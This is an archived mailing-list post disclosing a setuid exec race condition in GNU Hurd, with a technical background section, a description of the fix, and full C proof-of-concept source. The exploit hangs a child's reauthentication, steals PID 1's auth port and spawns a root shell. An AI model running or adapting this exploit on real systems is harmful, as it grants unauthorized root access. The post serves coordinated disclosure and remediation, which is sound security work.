unofficial mirror of guix-devel@gnu.org 
 help / color / mirror / code / Atom feed
From: Sergey Bugaev <bugaevc@gmail.com>
To: bug-hurd@gnu.org
Cc: squid3@treenet.co.nz, Sergey Bugaev <bugaevc@gmail.com>,
	debian-hurd@lists.debian.org, samuel.thibault@gnu.org,
	jlledom@mailfence.com, guix-devel@gnu.org, rbraun@sceen.net
Subject: [VULN 3/4] setuid exec race
Date: Tue,  2 Nov 2021 19:31:20 +0300	[thread overview]
Message-ID: <20211102163121.415934-4-bugaevc@gmail.com> (raw)
In-Reply-To: <20211102163121.415934-1-bugaevc@gmail.com>

Short description
=================

When trying to exec a setuid executable, there's a window of time when the
process already has the new privileges, but still refers to the old task and is
accessible through the old process port. This can be exploited to get full root
access to the system.


Background: setuid exec
=======================

setuid is of course the Unix mechanism for raising privileges, whereby a
process, upon executing a specially-marked executable file, is given the
privileges of the owner of the file (typically root).

On the Hurd, this is implemented as follows:

* A process wishing to exec an executable file calls file_exec_paths () on the
  file, effectively asking the translator that provides the file to call
  exec_exec_paths () on the task.

* If the translator wants to implement setuid behavior for the file, it
  reauthenticates the process and the provided I/O ports (file descriptors and
  cwd) to the new set of UIDs.

* The translator calls exec_exec_paths (), passing the new ports to the exec
  server along with the EXEC_SECURE flag. The EXEC_SECURE flag instructs the
  exec server to load the executable into a fresh new task that's not accessible
  to the original task, instead of reusing the same task as it does otherwise.
  (Technically, that's what EXEC_NEWTASK, which is implied by EXEC_SECURE, does;
  EXEC_SECURE enables some additional tweaks on top of that.)

* If loading the executable into the new task succeeds, the exec server calls
  proc_reassign (), which kills off the old task, assigns the new task to the
  process, and also invalidates the old process port (the process port created
  for the new task becomes the new port of the process). As far as the Mach
  personality of the system is concerned, this is a fresh new task with a fresh
  new process port; but since it keeps all the process state, from the Unix
  point of view it's still the same process, only running a new executable.

The use of a fresh task (and recreation of the process port) is necessary
because unprivileged processes have access to the task and process port of the
original process; they would get access to the new privileged process if the
task and/or process ports were kept valid.

Please note that the exec server is (almost) not involved in the actual process
of changing UIDs, that's entirely up to the translator to do -- and translators
could implement different semantics than Unix setuid.


The issue
=========

The reauthenticated I/O ports are only given out to the new task if the exec
succeeds. But reauthenticating the process does not create a new reauthenticated
process, it only changes authentication of the same process. The process is
still accessible to the process itself, and to anyone else who has access to the
task or process port. Some time later, if the exec succeeds, the task is killed
and the process port is invalidated. During the window of time between these two
events, the process is still accessible through the old task and process ports,
but already has the new (root) privileges.

Moreover, this window of time can be easily made arbitrarily long, since the
translator (specifically, the exec_reauth () function in libshouldbeinlibc)
proceeds to reauthenticate the cwd port after reauthenticating the process. So
by the time a io_reauthenticate () request is received on the cwd port, the
process should already be reauthenticated, _and_ we know the process port won't
be invalidated before io_reauthenticate () returns.


The exploit
===========

We create two tasks, one that will set its cwd to a fresh port (which only has
to _not_ reply to the incoming message) and start to exec a setuid executable;
the other task will get access to the process of the first task and wait until
that process is given root privileges (as far as the proc server is concerned).

From here on, it's simple to get actual full root access (that is, a root auth
port). We get access to a task of some process that already runs as full root (I
chose PID 1), and just ask it nicely to give us its auth port using
msg_get_init_port (INIT_PORT_AUTH).


Exploit source code
===================

#include <stdio.h>
#include <error.h>
#include <hurd.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <hurd/paths.h>
#include <hurd/msg.h>

int
main ()
{
  error_t err;
  pid_t child_pid;
  process_t child_proc;
  task_t pid1_task;
  mach_port_t pid1_msgport;
  auth_t root_auth;

  child_pid = fork ();
  if (child_pid < 0)
    error (1, errno, "fork");

  if (child_pid == 0)
    {
      file_t fake_cwdir;

      sleep (1);

      err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE,
                                &fake_cwdir);
      if (err)
        error (1, errno, "mach_port_allocate");

      err = mach_port_insert_right (mach_task_self (), fake_cwdir,
                                    fake_cwdir, MACH_MSG_TYPE_MAKE_SEND);
      if (err)
        error (1, errno, "mach_port_insert_right");

      _hurd_port_set (&_hurd_ports[INIT_PORT_CWDIR], fake_cwdir);

      execlp ("su", "su", NULL);
      error (1, errno, "execlp");
    }

  err = proc_pid2proc (getproc(), child_pid, &child_proc);
  if (err)
    error (1, err, "pid2proc");

  sleep (2);

  err = proc_pid2task (child_proc, 1, &pid1_task);
  if (err)
    error (1, err, "proc_pid2task");

  err = proc_getmsgport (child_proc, 1, &pid1_msgport);
  if (err)
    error (1, err, "proc_getmsgport");

  /* Kill the hanging child task, we no longer need it.  */
  kill (child_pid, SIGKILL);

  err = msg_get_init_port (pid1_msgport, pid1_task,
                           INIT_PORT_AUTH, &root_auth);
  if (err)
    error (1, err, "msg_get_init_port");

  fprintf (stderr, "Got root auth port :)\n");

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");
}


Notes
=====

Actually, the situation is more complicated due to the "process owner" feature.
This feature turned out to itself cause problems and vulnerabilities, so I ended
up removing it altogether. The patch [0] has more details.

[0]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0034-proc-Use-UIDs-for-evaluating-permissions.patch

The setuid exec implementation is naturally a promising target to attack, since
it involves raising privileges, and implementing _that_ correctly can be
problematic even in monolithic systems -- typically, some sort of ptrace access
would not be invalidated atomically with raising privileges. Here are two
examples of that in SerenityOS [1] [2], and here's a XNU vulnerability [3]
involving setuid exec and task ports. This only becomes more challenging to do
correctly in a distributed system like the Hurd, as several pieces of state,
kept by various servers, all need to be updated as a part of setuid exec.

[1]: https://hxp.io/blog/79/hxp-CTF-2020-wisdom2/
[2]: https://github.com/SerenityOS/serenity/issues/5230
[3]: https://googleprojectzero.blogspot.com/2016/03/race-you-to-kernel.html

It is quite likely that there still are more undiscovered issues in the setuid
exec implementation.


How we fixed the vulnerability
==============================

I've made the case that all the three actions that the process server does:

* reauthenticating the process
* assigning a new task to the process
* invalidating the old process port

have to be done atomically. Making any one of them earlier (or later) than
others opens up a possibility for exploitation. To this end, we've introduced a
new RPC to do all three atomically:

/* Change the current authentication of the process and assign a different
   task to it, atomically.  The user should follow this call with a call to
   auth_user_authenticate.  The new_port passed back through the auth server
   will be the new proc port.  The old proc port is destroyed.  */
simpleroutine proc_reauthenticate_reassign (
	old_process: process_t;
	rendezvous: mach_port_send_t;
	new_task: task_t);

The exec server and exec_reauth () have then been updated to call this new RPC
instead of the old proc_reassign () and proc_reauthenticate ().


  parent reply	other threads:[~2021-11-02 16:41 UTC|newest]

Thread overview: 11+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2021-11-02 16:31 [VULN 0/4] Hurd vulnerability details Sergey Bugaev
2021-11-02 16:31 ` [VULN 1/4] Fake notifications Sergey Bugaev
2021-11-02 16:31 ` [VULN 2/4] No read-only mappings Sergey Bugaev
2021-11-02 16:31 ` Sergey Bugaev [this message]
2021-11-02 16:31 ` [VULN 4/4] Process auth man-in-the-middle Sergey Bugaev
2021-11-02 16:35 ` [VULN 0/4] Hurd vulnerability details Samuel Thibault
2021-11-02 20:32   ` Vasileios Karaklioumis
2021-11-09 17:19   ` Ludovic Courtès
2021-11-09 17:28     ` Samuel Thibault
2021-11-17 10:45       ` Ludovic Courtès
2021-11-02 21:56 ` Guy-Fleury Iteriteka

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

  List information: https://guix.gnu.org/

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20211102163121.415934-4-bugaevc@gmail.com \
    --to=bugaevc@gmail.com \
    --cc=bug-hurd@gnu.org \
    --cc=debian-hurd@lists.debian.org \
    --cc=guix-devel@gnu.org \
    --cc=jlledom@mailfence.com \
    --cc=rbraun@sceen.net \
    --cc=samuel.thibault@gnu.org \
    --cc=squid3@treenet.co.nz \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
Code repositories for project(s) associated with this public inbox

	https://git.savannah.gnu.org/cgit/guix.git

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).